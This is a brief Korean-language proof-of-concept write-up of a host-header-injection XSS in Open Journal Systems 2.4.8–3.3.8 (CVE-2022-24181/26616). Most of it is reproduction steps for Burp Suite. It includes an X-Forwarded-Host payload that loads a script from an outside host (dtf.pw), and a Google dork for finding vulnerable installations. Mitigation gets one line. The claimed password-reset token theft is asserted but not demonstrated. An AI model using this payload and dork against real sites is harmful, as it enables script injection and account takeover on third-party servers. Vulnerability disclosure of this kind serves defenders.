CVE-2022-24181 및 CVE-2022-26616. 둘 다 아마 동일함

Open-journal-system-취약점

호스트 헤더 인젝션을 통한 XSS 및 다른 사용자의 비밀번호 재설정 토큰 탈취 재현 단계:

1. 이 사이트로 이동: https://who's-using-ojs-software.com
2. 이 요청을 burp에서 캡처하고 Repeater로 전송합니다.
3. 호스트 헤더 뒤에 다음을 추가: X-Forwarded-Host: foo"><script src=//dtf.pw/2.js><x=".com
4. 그런 다음 보내기를 클릭하고, 요청에서 마우스 오른쪽 버튼을 클릭하여 브라우저에서 응답 표시를 클릭한 후 요청을 복사합니다.
5. 이 요청을 브라우저에 붙여넣으면 XSS 팝업이 나타납니다. 완화 방법: 최신 버전으로 업데이트하세요.

이 취약점을 찾기 위한 Google Dork intitle:ojs 이 취약점은 PKP 공급업체 소프트웨어 Open-journal-system 버전 2.4.8에서 3.3.8까지 모두 호스트 헤더 인젝션을 통한 XSS 및 비밀번호 재설정 토큰 탈취 취약점에 영향을 받습니다.